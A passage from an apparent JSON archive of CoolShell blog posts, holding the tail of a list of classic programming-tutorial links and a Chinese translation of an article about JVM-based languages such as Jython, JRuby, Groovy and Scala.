Ed.)](http://www.informit.com/product/0672310708/)   \n\n[C++ Portability Guide](http://www.mozilla.org/hacking/portable-cpp.html)   \n\n[C++ Tips](http://www.ses.com/~clarke/cpptips.html)   \n\n[C++ Language Tutorial](http://www.swcp.com/~dodrill/cppdoc/cpplist.htm)   \n\n[CScene: An Online Magazine for C and C++ Programming](http://www.syclus.com/cscene/)   \n\n[C++ Libraries FAQ](http://www.trumphurst.com/cpplibs1.html) \n\n\n**CGI**   \n\n[CGI Programming Tutorial](http://www.acm.vt.edu/~scott/cgi.html)   \n\n[CGI Programming 101](http://www.cgi101.com/class/)   \n\n[CGI Manual of Style](http://www.informit.com/product/1562763970/)   \n\n[CGI Developer’s Guide](http://www.informit.com/product/1575210878/)   \n\n[CGI Programming Unleashed](http://www.informit.com/product/1575211513/)   \n\n[Sams Teach Yourself CGI Programming with Perl 5 in a Week (2nd Ed.)](http://www.informit.com/product/1575211963/)   \n\n[CGI/Perl Tips, Tricks and Hints](http://www.speakeasy.org/~cgires/cgi-tips.html)   \n\n[A Tour of HTML Forms and CGI Scripts](http://www.speakeasy.org/~cgires/cgi-tour.html)   \n\n[Reading CGI Data: URL-Encoding and the CGI Protocol](http://www.speakeasy.org/~cgires/readdat/aindex.html)   \n\n[CGI Programming FAQ](http://www.webthing.com/tutorials/cgifaq.html) \n\n\n**CORBA**   \n\n[CORBA FAQ](http://www.cerfnet.com/~mpcline/corba-faq/)   \n\n[A Brief Tutorial on CORBA](http://www.cs.indiana.edu/hyplan/kksiazek/tuto.html)   \n\n[CORBA 2.0 Specification](http://www.cs.wustl.edu/~schmidt/CORBA-docs/index.html)   \n\n[CORBA Tutorials](http://www.cs.wustl.edu/~schmidt/tutorials-corba.html)   \n\n[Sams Teach Yourself CORBA in 14 Days](http://www.informit.com/product/0672312085/)   \n\n[Linux Network Programming, Part 3 – CORBA: The Software Bus](http://www2.linuxjournal.com/lj-issues/issue48/2336.html)   \n\n[CORBA Program Development, Part 1](http://www2.linuxjournal.com/lj-issues/issue61/3201.html)   \n\n[CORBA Program Development, Part 2](http://www2.linuxjournal.com/lj-issues/issue62/3213.html)   \n\n[CORBA Program Development, Part 3](http://www2.linuxjournal.com/lj-issues/issue63/3214.html) \n\n\n**CSS**   \n\n[CSS2 Tutorial](http://richinstyle.com/guides/css2.html) \n\n\n**CVS**   \n\n[CVS Tutorial](http://cellworks.washington.edu/pub/docs/cvs/tutorial/cvs_tutorial_toc.html)   \n\n[Concurrent Version System Tutorial](http://www.csc.calpoly.edu/~dbutler/tutorials/winter96/cvs/) \n\n\n**DHTML**   \n\n[Introduction to Dynamic HTML](http://www.stars.com/Authoring/DHTML/Intro/) \n\n\n**Emacs**   \n\n[Emacs: The Software Engineer’s  Army Knife”](http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Editors/Emacs.html)   \n\n[Emacs FAQ](http://www.geek-girl.com/emacs/faq/index.html)   \n\n[GNU Emacs Lisp Reference Manual](http://www.gnu.org/manual/elisp-manual-20-2.5/elisp.html)   \n\n[Programming in Emacs Lisp](http://www.gnu.org/manual/emacs-lisp-intro/emacs-lisp-intro.html)   \n\n[GNU Emacs Manual](http://www.gprep.pvt.k12.md.us/technology/emacs_lesson/emacs_toc.html)   \n\n[A Tutorial Introduction to Emacs](http://www.lib.uchicago.edu/keith/tcl-course/emacs-tutorial.html)   \n\n[EMACSulation: Internet-ready!](http://www.linuxgazette.com/issue26/marsden.html)   \n\n[EMACSulation: Ediff – An Emacs interface to diff and patch](http://www.linuxgazette.com/issue27/marsden.html)   \n\n[EMACSulation: Emacs as a Server](http://www.linuxgazette.com/issue29/marsden.html)   \n\n[EMACSulation: Customizing Emacs](http://www.linuxgazette.com/issue31/marsden.html)   \n\n[Basic Emacs](http://www.linuxgazette.com/issue35/anderson.html)   \n\n[EMACSulation: Templating Mechanisms](http://www.linuxgazette.com/issue39/marsden.html)   \n\n[Emacs Macros and the Power-Macros Package](http://www.linuxgazette.com/issue47/pedersen.html)   \n\n[Polyglot Emacs 20.4](http://www2.linuxjournal.com/lj-issues/issue59/2178.html) \n\n\n**Expect**   \n\n[Advanced Programming in Expect: A Bulletproof Interface](http://www.linuxgazette.com/issue48/fisher.html)   \n\n[Automating Tasks with Expect](http://www2.linuxjournal.com/lj-issues/issue54/3065.html)   \n\n[What Can you Expect?–A Data Collection Project Using Linux](http://www2.linuxjournal.com/lj-issues/issue68/3357.html) \n\n\n**Fortran**   \n\n[Professional Programmer’s Guide to Fortran 77](ftp://ftp.star.le.ac.uk/pub/fortran/)   \n\n[Fortran 90 and Computational Science](http://csep1.phy.ornl.gov/pl/pl.html)   \n\n[User Notes on Fortran Programming](http://metalab.unc.edu/pub/languages/fortran/unfp.html)   \n\n[Fortran Programming for Physics and Astronomy](http://noether.vassar.edu/~myers/Fortran.html)   \n\n[A Fortran 90 Tutorial](http://www.astro.unibas.ch/F90Tutorial/tutorial.html)   \n\n[Using GNU Fortran](http://www.delorie.com/gnu/docs/g77/g77_1.html)   \n\n[Fortran 90: A Course for Fortran 77 Programmers](http://www.hpctec.mcc.ac.uk/hpctec/courses/Fortran90/F90course.html)   \n\n[Fortran 90 for the Fortran 77 Programmer](http://www.nsc.liu.se/f77to90.html)   \n\n[Introduction to Fortran](http://www.stanford.edu/class/sccm001/) \n\n\n**GIMP**   \n\n[GIMP Tutorial Index](http://empyrean.lib.ndsu.nodak.edu/~nem/gimp/tuts/)   \n\n[A Tutorial for Perl GIMP Users](http://imagic.weizmann.ac.il/~dov/gimp/perl-tut.html)   \n\n[A Scheme Tutorial for GIMP Users](http://imagic.weizmann.ac.il/~dov/gimp/scheme-tut.html)   \n\n[GIMP Guide](http://jgo.local.net/GimpGuide/)   \n\n[The GIMP User Manual](http://manual.gimp.org/)   \n\n[Pseudo 3-D with GIMP](http://www.linuxfocus.org/English/July2000/article113.shtml)   \n\n[Graphical Photocomposition with GIMP](http://www.linuxfocus.org/English/March1998/article9.html)   \n\n[Creating Text with the GIMP](http://www.linuxfocus.org/English/May1998/article10.html)   \n\n[Creating Fire Effects with the GIMP](http://www.linuxfocus.org/English/November1999/article112.html)   \n\n[Creating and Editing Animations with GIMP](http://www.linuxfocus.org/English/articles/article28.html)   \n\n[GIMP-Perl: GIMP Scripting for the Rest of Us](http://www.linuxgazette.com/issue51/mauerer.html)   \n\n[Writing a GIMP Plugin](http://www.oberlin.edu/~kturner/gimp/doc/)   \n\n[GIMP: The RRU Tutorial](http://www.rru.com/~meo/gimp/Tutorial/)   \n\n[GIMP User FAQ](http://www.rru.com/~meo/gimp/faq-user.html)   \n\n[Script-Fu Tutorial](http://www.soulfry.com/script-fu/index.html)   \n\n[The Quick Start Guide to the GIMP, Part 1](http://www2.linuxjournal.com/lj-issues/issue43/2388.html)   \n\n[The Quick Start Guide to the GIMP, Part 2](http://www2.linuxjournal.com/lj-issues/issue44/2530.html)   \n\n[The Quick Start Guide to the GIMP, Part 3](http://www2.linuxjournal.com/lj-issues/issue45/2531.html)   \n\n[The Quick Start Guide to the GIMP, Part 4](http://www2.linuxjournal.com/lj-issues/issue46/2532.html) \n\n\n**GNOME**   \n\n[Application Programming Using the GNOME Libraries](http://developer.gnome.org/doc/tutorials/gnome-libs/)   \n\n[Part 1: Everything You Need to Get Started](http://www-4.ibm.com/software/developer/library/gnome-programming/indexhtml)   \n\n[Part 2: Building a Sample Genealogy Program](http://www-4.ibm.com/software/developer/library/gnome2/)   \n\n[Part 3: Adding File Saving and Loading Using libxml](http://www-4.ibm.com/software/developer/library/gnome3/?dwzone=linux)   \n\n[Creating GTK+ Widgets with GOB: An Easier Way to Derive New GTK+ Widgets](http://www-4.ibm.com/software/developer/library/gnome4/index.html?dwzone=linux)   \n\n[Handling Multipel Documents: Using the GnomeMDI Framework](http://www-4.ibm.com/software/developer/library/gnome5/index.html?dwzone=linux)   \n\n[Livening Things Up: Graphics Made Easy Using the GNOME Canvas](http://www-4.ibm.com/software/developer/library/gnomenclature/index.html?dwzone=linux)   \n\n[Developing Gnome Applications with Python – Part 1](http://www.linuxfocus.org/English/July2000/article160.shtml) \n\n\n**GTK**   \n\n[GDK Reference Manual](http://developer.gnome.org/doc/API/gdk/index.html)   \n\n[GLib Reference Manual](http://developer.gnome.org/doc/API/glib/index.html)   \n\n[GTK+ Reference Manual](http://developer.gnome.org/doc/API/gtk/index.html)   \n\n[The GIMP Toolkit](http://www.gtk.org/docs/gtk_toc.html)   \n\n[GTK+ FAQ](http://www.gtk.org/faq/)   \n\n[GTK V1.2 Tutorial](http://www.gtk.org/tutorial/gtk_tut.html)   \n\n[Drawing and Event Handling in GTK](http://www.gtk.org/~otaylor/gtk/tutorial/drawing_tut.html)   \n\n[An Introduction to the GIMP Tool Kit](http://www2.linuxjournal.com/lj-issues/issue47/2465.html) \n\n\n**Gnuplot**   \n\n[Constrained Dynamics](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/constraints.pdf)   \n\n[Continuum Dynamics](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/continuators.pdf)   \n\n[Differential Equation Basics](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/diffyq.pdf)   \n\n[Energy Functions and Stiffness](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/energons.pdf)   \n\n[Particle System Dynamics](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/particles.pdf)   \n\n[An Introduction to Physically Based Modeling](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/pbm.html)   \n\n[Rigid Body Dynamics I](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/rigid1.pdf)   \n\n[Rigid Body Dynamics II](http://www-cgi.cs.cmu.edu/afs/cs.cmu.edu/user/baraff/www/pbm/rigid2.pdf)   \n\n[Scientific Visualization Tutorials](http://www.cc.gatech.edu/scivis/tutorial/tutorial.html)   \n\n[Gnuplot – An Interactive Plotting Program](http://www.eng.hawaii.edu/Tutor/Gnuplot/)   \n\n[GIF Animation Tutorial](http://www.webreference.com/dev/gifanim/tutorial.html) \n\n\n**HTML**   \n\n[HTML Table Tutorial](http://www.charm.net/~lejeune/tables.html)   \n\n[HTML by Example](http://www.informit.com/product/0789708124/)   \n\n[How to Use HTML 3.2](http://www.informit.com/product/1562764969/)   \n\n[Creating a Client-Side Image Map](http://www.kasparius.com/nonflash/tutorial/tut1.htm)   \n\n[Advanced HTML: How to Create Complex Multimedia Documents for the Web](http://www.ncsa.uiuc.edu/General/Training/AdvHTML/course.html)   \n\n[The ABCs of HTML](http://www.ncsa.uiuc.edu/General/Training/HTMLIntro/Intro.html)   \n\n[Sharky’s Netscape Frames Tutorial](http://www.sharkysoft.com/tutorials/frames/contents.htm) \n\n\n**ILU**   \n\n[ILU Reference Manual](ftp://ftp.parc.xerox.com/pub/ilu/2.0b1/manual-html/manual_toc.html)   \n\n[Using ILU with ANSI C: A Tutorial](ftp://ftp.parc.xerox.com/pub/ilu/misc/tutc.html)   \n\n[Using ILU with Java: A Tutorial](ftp://ftp.parc.xerox.com/pub/ilu/misc/tutjava.html)   \n\n[Using ILU with Python: A Tutorial](ftp://ftp.parc.xerox.com/pub/ilu/misc/tutpython.html) \n\n\n**IP-Masquerading**   \n\n[ipchains: Packet Filtering for Linux 2.2](http://www.linux-mag.com/1999-05/bestdefense_01.html)   \n\n[Setting Up IP Masquerade](http://www.linux-mag.com/1999-08/guru_01.html)   \n\n[Setting Up IP-Masquerading](http://www.linuxfocus.org/English/May2000/article151.shtml)   \n\n[Ipchains: Easy Links to the Net](http://www.linuxplanet.com/linuxplanet/tutorials/1241/1/)   \n\n[Linux Networking Using Ipchains](http://www.linuxplanet.com/linuxplanet/tutorials/2100/1/) \n\n\n**IPC**   \n\n[Advanced 4.4BSD Interpprocess Communication Tutorial](http://winter.cs.umn.edu/~bentlem/aunix/advipc/ipc.html)   \n\n[UNIX Multi-Process Programming and IPC](http://www.actcom.co.il/~choo/lupg/tutorials/multi-process/multi-process.html) \n\n\n**Java**   \n\n[Enterprise JavaBeans Tutorial](http://developer.java.sun.com/developer/onlineTraining/Beans/EJBTutorial/index.html)   \n\n[JavaBeans Short Course](http://developer.java.sun.com/developer/onlineTraining/Beans/JBShortCourse/index.html)   \n\n[Introduction to the JavaBeans API](http://developer.java.sun.com/developer/onlineTraining/Beans/JBeansAPI/index.html)   \n\n[JDBC Short Course](http://developer.java.sun.com/developer/onlineTraining/Database/JDBCShortCourse/index.html)   \n\n[Essentials of the Java Programming Language, Part 1](http://developer.java.sun.com/developer/onlineTraining/Programming/BasicJava1/index.html)   \n\n[Essentials of the Java Programming Language, Part 2](http://developer.java.sun.com/developer/onlineTraining/Programming/BasicJava2/index.html)   \n\n[Writing Advanced Applications for the Java Platform](http://developer.java.sun.com/developer/onlineTraining/Programming/JDCBook/index.html)   \n\n[Fundamentals of Java Security](http://developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html)   \n\n[Fundamentals of Java Servlets](http://developer.java.sun.com/developer/onlineTraining/Servlets/Fundamentals/index.html)   \n\n[Introduction to the Collections Framework](http://developer.java.sun.com/developer/onlineTraining/collections/index.html)   \n\n[Introduction to CORBA](http://developer.java.sun.com/developer/onlineTraining/corb/a)   \n\n[Fundamentals of RMI](http://developer.java.sun.com/developer/onlineTraining/rmi/)   \n\n[Advanced](http://home.att.net/~baldwin.r.g/scoop/tocadv.htm)   \n\n[Introductory](http://home.att.net/~baldwin.r.g/scoop/tocint.htm)   \n\n[Intermediate](http://home.att.net/~baldwin.r.g/scoop/tocmed.htm)   \n\n[Java Language Specification](http://java.sun.com/docs/books/jls/index.html)   \n\n[Java Tutorial: Servlet Trail](http://java.sun.com/docs/books/tutorial/servlets/index.html)   \n\n[Java Virtual Machine Specification (2nd Ed.)](http://java.sun.com/docs/books/vmspec/index.html)   \n\n[Glossary of Java and Related Terms](http://java.sun.com/docs/glossary.print.html)   \n\n[The Java Language Environment](http://java.sun.com/docs/white/langenv/)   \n\n[Java Look and Feel Design Guidelines](http://java.sun.com/products/jlf/dg/index.htm)   \n\n[Story of a Servlet: An Instant Tutorial](http://java.sun.com/products/servlet/articles/tutorial/)   \n\n[Introduction to Java](http://javaboutique.internet.com/articles/ITJ/)   \n\n[Java2D: An Introduction and Tutorial](http://javaboutique.internet.com/tutorials/Java2D/)   \n\n[Java Servlet Tutorial](http://jserv.java.sun.com/products/java-server/documentation/webserver11/servlets/servlet_tutorial.html)   \n\n[comp.lang.java FAQ](http://metalab.unc.edu/javafaq/javafaq.html)   \n\n[Brewing Java: A Tutorial](http://metalab.unc.edu/javafaq/javatutorial.html)   \n\n[Shlurrrppp … Java: The First User-Friendly Tutorial on Java](http://users.neca.com/vmis/java.html)   \n\n[Swing Tutorial](http://web2.java.sun.com/docs/books/tutorial/uiswing/index.html)   \n\n[Swing: A Quick Tutorial for AWT Programmers](http://www.apl.jhu.edu/~hall/jav/aSwing-Tutorial/)   \n\n[Thinking in Java](http://www.bruceeckel.com/TIJ2/index.html)   \n\n[Java RMI Tutorial](http://www.ccs.neu.edu/home/kenb/com3337/rmi_tut.html)   \n\n[Java for C++ Programmers](http://www.cs.wisc.edu/~solomon/cs537/java-tutorial.html)   \n\n[The Advanced Jav/aJ2EE Tutorial](http://www.execpc.com/~gopalan/jav/ajava_tutorial.html)   \n\n[Hacking Java: The Java Professional’s Resource Kit](http://www.informit.com/product/078970935X/)   \n\n[JFC Unleashed](http://www.informit.com/product/0789714663/)   \n\n[Java Developer’s Guide](http://www.informit.com/product/157521069X/)   \n\n[Java Developer’s Reference](http://www.informit.com/product/1575211297/)   \n\n[Sams Teach Yourself Java in 21 Days (Professional Reference Ed.)](http://www.informit.com/product/1575211831/)   \n\n[Java Unleashed (2nd Ed.)](http://www.informit.com/product/1575211971/)   \n\n[Java 1.1 Unleashed (3rd Ed.)](http://www.informit.com/product/1575212986/)   \n\n[Java Game Programming Tutorial](http://www.intergate.bc.c/apersonal/iago/javatut/)   \n\n[Java Networking FAQ](http://www.io.com/~maus/JavaNetworkingFAQ.html)   \n\n[Java Tutorial: A Practical Guide for Programmers](http://www.javasoft.com/docs/books/tutorial/)   \n\n[Sockets Programming in Java](http://www.javaworld.com/javaworld/jw-12-1996/jw-12-sockets.html)   \n\n[Programming with Java – Part I](http://www.linuxfocus.org/English/articles/article34.html)   \n\n[Programming with Java – Part II](http://www.linuxfocus.org/English/articles/article8.html)   \n\n[Setting Up a Java Development Environment for Linux](http://www.linuxgazette.com/issue45/gibbs/Linux_java.html)   \n\n[Understanding Java](http://www.sofcom.com.au/jav/a)   \n\n[Beginner’s Guide to JDK](http://www2.linuxjournal.com/lj-issues/issue55/2570.html)   \n\n[GUI Development in Java](http://www2.linuxjournal.com/lj-issues/issue61/2673.html)   \n\n[Java Servlets: An introduction to writing and running Java servlets on Linux](http://www2.linuxjournal.com/lj-issues/issue66/3119.html) \n\n\n**JavaScript**   \n\n[Introductory JavaScript Tutorials](http://andyjava.simplenet.com/)   \n\n[JavaScript Authoring Guide](http://developer.netscape.com/docs/manuals/communicator/jsguide4/index.htm)   \n\n[Client-Side JavaScript 1.3 Guide](http://developer.netscape.com/docs/manuals/js/client/jsguide/index.htm)   \n\n[Client-Side JavaScript 1.3 Reference](http://developer.netscape.com/docs/manuals/js/client/jsref/index.htm)   \n\n[Core JavaScript 1.4 Guide](http://developer.netscape.com/docs/manuals/js/core/jsguide/index.htm)   \n\n[Core JavaScript 1.4 Reference](http://developer.netscape.com/docs/manuals/js/core/jsref/index.htm)   \n\n[Server-Side JavaScript 1.4 Guide](http://developer.netscape.com/docs/manuals/ssjs/1_4/contents.htm)   \n\n[JavaScript FAQ](http://developer.netscape.com/support/faqs/champions/javascript.html)   \n\n[JavaScript Tutorial](http://home.att.net/~baldwin.r.g/scoop/tocjscript1.htm)   \n\n[The Way of JavaScript](http://rampages.onramp.net/~jnardo/javascript/zen.html)   \n\n[Voodoo’s Introduction to JavaScript](http://rummelplatz.uni-mannheim.de/~skoch/js/tutorial.htm)   \n\n[JavaScript Tutorial for Programmers](http://wdvl.com/Authoring/JavaScript/Tutorial/)   \n\n[JavaScript Primer](http://wsabstract.com/javatutors/primer1.shtml)   \n\n[EchoEcho JavaScript Tutorial](http://www.echoecho.com/javascript.htm)   \n\n[Sams Teach Yourself JavaScript 1.1 in a Week (2nd Ed.)](http://www.informit.com/product/1575211955/) \n\n\n**Lisp**   \n\n[Common Lisp Hints](http://ringer.cs.utsa.edu/research/AI/cltl/common-lisp-tutorial.html)   \n\n[Common Lisp the Language (2nd Ed.)](http://www.cs.cmu.edu/Web/Groups/AI/html/cltl/cltl2.html)   \n\n[Lisp FAQ](http://www.cs.cmu.edu/Web/Groups/AI/html/faqs/lang/lisp/top.html)   \n\n[Lisp Programming Tutorial](http://www.cse.cuhk.edu.hk/~csc4510/lisp/html/lisp.html)   \n\n[Lisp Tutorial](http://www.eecs.tulane.edu/www/Villamil/lisp/lisp1.html)   \n\n[LISP Tutorial](http://www.nyu.edu/pages/linguistics/nlcp/lisp.html)   \n\n[Common Lisp HyperSpec](http://www.xanalys.com/software_tools/reference/HyperSpec/FrontMatter/index.html) \n\n\n**MIDI**   \n\n[Basic MIDI Tutorials](http://www.borg.com/~jglatt/tutr/miditutr.htm)   \n\n[Tutorial on MIDI and Music Synthesis](http://www.harmony-central.com/MIDI/Doc/tutorial.html) \n\n\n**ML**   \n\n[ML Tutorial](http://cs.wwc.edu/Environment/SML-Tutorial.html)   \n\n[Programming in Standard ML ’97](http://www.dcs.ed.ac.uk/home/stg/NOTES/)   \n\n[A Gentle Introduction to ML](http://www.dcs.napier.ac.uk/course-notes/sml/manual.html)   \n\n[Moscow ML Owner’s Manual](http://www.dina.dk/~sestoft/manual/manual.html) \n\n\n**MPI**   \n\n[An MPI Tutorial](http://www-erl.mit.edu/cagc/mpi/tutorial.html)   \n\n[Tutorial on MPI](http://www-unix.mcs.anl.gov/mpi/tutorial/)   \n\n[MPI: Portable Parallel Programming for Scientific Computing](http://www-unix.mcs.anl.gov/mpi/tutorial/mpibasics/index.htm)   \n\n[Tuning MPI Applications for Peak Performance](http://www-unix.mcs.anl.gov/mpi/tutorial/perf/index.html)   \n\n[MPI: From Fundamentals to Applications](http://www.epm.ornl.gov/~walker/mpi/SLIDES/mpi-tutorial.html)   \n\n[MPI Tutorial](http://www.mpi.nd.edu/mpi_tutorials/)   \n\n[MPI: The Complete Reference](http://www.netlib.org/utk/papers/mpi-book/mpi-book.html)   \n\n[Introduction to Parallel Programming Using MPI](http://www.scs.leeds.ac.uk/cpde/tutorial.html)   \n\n[Basics of MPI Programming](http://www.tc.cornell.edu/Edu/Talks/MPI/Basic/) \n\n\n**Matlab**   \n\n[Matlab Basics Tutorial](http://www.engin.umich.edu/group/ctm/basic/basic.html)   \n\n[Matlab Summary and Tutorial](http://www.math.ufl.edu/help/matlab-tutorial/)   \n\n[Matlab – Official Online Manuals in PDF](http://www.mathworks.com/access/helpdesk/help/fulldocset.shtml)   \n\n  \n\n**Misc**   \n\n[The Soar 8 Tutorial Home Page](http://bigfoot.eecs.umich.edu/~soar/tutorial.html) \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/585.html)[5个不错的Flash的英文教程网](https://coolshell.cn/articles/585.html)\n* [![20本最好的Linux免费书籍](../wp-content/uploads/2009/04/screenshot-linuxdevicedrivers-150x150.png)](https://coolshell.cn/articles/355.html)[20本最好的Linux免费书籍](https://coolshell.cn/articles/355.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![Web设计的速查卡](../wp-content/uploads/2009/05/07-01_cs3_keyboard_shortcuts-150x150.png)](https://coolshell.cn/articles/870.html)[Web设计的速查卡](https://coolshell.cn/articles/870.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/1751.html)[Go 语言：Google 的新编程语言](https://coolshell.cn/articles/1751.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/595.html)[Oracle成功收购Sun](https://coolshell.cn/articles/595.html)\nThe post [非常不错的编程技术教程](https://coolshell.cn/articles/240.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-26 基于JVM的语言正在开始流行.md",
    "content": "---\nlayout: post\ntitle: 基于JVM的语言正在开始流行\ndate: 2009/3/26/ 2:41:59\nupdated: 2009/3/26/ 2:41:59\nstatus: publish\npublished: true\ntype: post\n---\n\n**总结：**\n\n\n这是 [Reuven Lerner](https://coolshell.cn/member/reuven)在去年写的一篇博文，文章主要介绍了一些新兴的基于JVM的脚本语言。结合本文可以对Bruce的博文《[C++和JAVA传统中积极的一面](https://coolshell.cn/articles/209.html)》有一个很好的理解。译者认为：语言始终都是一门工具，软件设计最重要的东西是来自于设计者的创造性，但是随着Java语言的出现，他的半动态的特性，ClassLoader，反射，动态代理，都是提高开发者创造性的前提，正是因为这些特性，才会出现新的的编程模式和范式——反转控制和依赖注入，面向方面的编程(AOP)。试想如果Java不提供ClassLoader，反射，动态代理机制的API，如何能实现依赖查找和依赖注入和动态AOP? 你能用C++来反转控制，依赖查找吗，能对容器中的组件做进行生命周期管理吗？为了说明程序员创造性和语言的这个关系，我引用[Dion Hinchcliffe](http://hinchcliffe.org/)博文中的一张图来说明：\n\n\n ![程序员创造性和性能的关系](../wp-content/uploads/2009/03/weblanguagecomparison1.png \"程序员创造性和性能的关系\")\n\n\n原文：<http://ostatic.com/blog/jvm-based-languages-grow-in-popularity>  \n\n**基于JVM的语言正在开始流行**\n\n\n当Sun Microsystems公司在1995年第一次揭开Java的面纱的时候，就是非常难被定义的。这是因为JAVA是由多个部分构成：首先，它当然是一个面向对象语言。同时JAVA也是一个定义标准的语言(或多个标准，包括移动设备，标准，和企业三个版本)。最后，Java是一个虚拟机(“JVM”)，一个Java程序能够执行的软件环境。如果你有一个JVM，虽然这个JVM只能用来运行Java的程序——但是，JVM能在运行在你能想到的每一个平台之上，这使得Java成为一个具有高移植性的语言。\n\n\n\n在Java世界的一个令人着迷的趋势就是：在最近的几年里使用JVM来运行非Java的程序在程增长的趋势。毕竟，如果创造了一门新的语言，你就必须在特定的平台上实现它。如果你想你的语言能在不同的平台上移植，那么你就需要为每一个平台实现一个版本。但是，相比而言，如果你将语言实现在JVM上，那么你就能让你的语言运行在任何系统的JVM上，这就意味着几乎所有平台都可以运行。\n\n\n于是现在就有了许多的基于JVM的新增语言。其中4个最流行的是发布在开源许可证之下的。考虑到如今Java也是开发源码了，这意味着你可以使用一个全开源体系，并且这个体系是可以移植的。因为这些语言都在JVM之上实现的，所以你就可以同时访问Java的标准库。这意味着如果有一个第三方的的Java库，而且你精于Python，那么你就可以使用Jython在你的源代码中访问这些Java库。\n\n\n早期的基于JVM的脚本语言，就我所知，是Jython,之前被称为JPython。Jython，从名字你就可以猜到，是一个基于JVM的Python语言实现。Jython完全兼容Python2.2的标准版本(这个标准版本的Python也被称为CPython)，这意味着Jython将会没有Python的一些新特性。最近发布的Jython版本是2007年月发布的，但是Sun雇佣了两位早期Jython非常知名的开发者，并且现在Jython可以运行Django应用程序框架，因此验证其兼容Python的能力\n\n\nSun公司同时资助了JRuby的开发，一个基于JVM的Ruby版本。Jython是Python唯一的两个实现的其中之一，对比而言，JRuby则是众多Ruby语言实现的其中之一。然而,JRuby被广泛的认为是一个非常重要的版本。特别是因为他的效率，和高度兼容标准C的Ruby版本实现。JRuby同样可以运行Ruby on Rails框架(**译者注：构建在Ruby之上的WEB应用框架**)，此外还能运行其他众多的功能。\n\n\nJython和JRuby都是从其他已存在的语言中移植到JVM中来的。而全新的基于JVM的脚本语言是Groovy和Scala。这两门语言现在都越来越流行，不同的是，Groovy是动态脚本语言，而是Scala是静态语言。使用Groovy最著名的应用是Groovy on Grails项目，一个用Groovy写成，运行在JVM之上的WEB应用框架(和Ruby on Rails很相似)。Grails找到通向商业应用程序的道路，最著名的就是LinkedIn,使用Linkedin，开发人员发现他们能比直接使用Java更快速和容易的开发程序。相比而言，Scala，而是强类型是语言，Steve Yegge最近的一次访谈中曾经谈到、静态语言和动态语言的争论，因为这个他还受到了很多的批评（**译者注：关于Steve Yegge的这篇关于动态语言和静态语言之争可以查看**[**这里**](http://steve-yegge.blogspot.com/2008/05/dynamic-languages-strike-back.html),**Steve Yegge是一个动态语言的支持者**）  \n\nJava已经被公认为是非常成功而流行的语言。现在，Java也同时也被认为是非常流行的平台，这四类语言仅仅是在不远的将来通过JVM来实现的新兴语言的开始\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [基于JVM的语言正在开始流行](https://coolshell.cn/articles/247.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-3-26 深入浅出单实例Singleton设计模式.md",
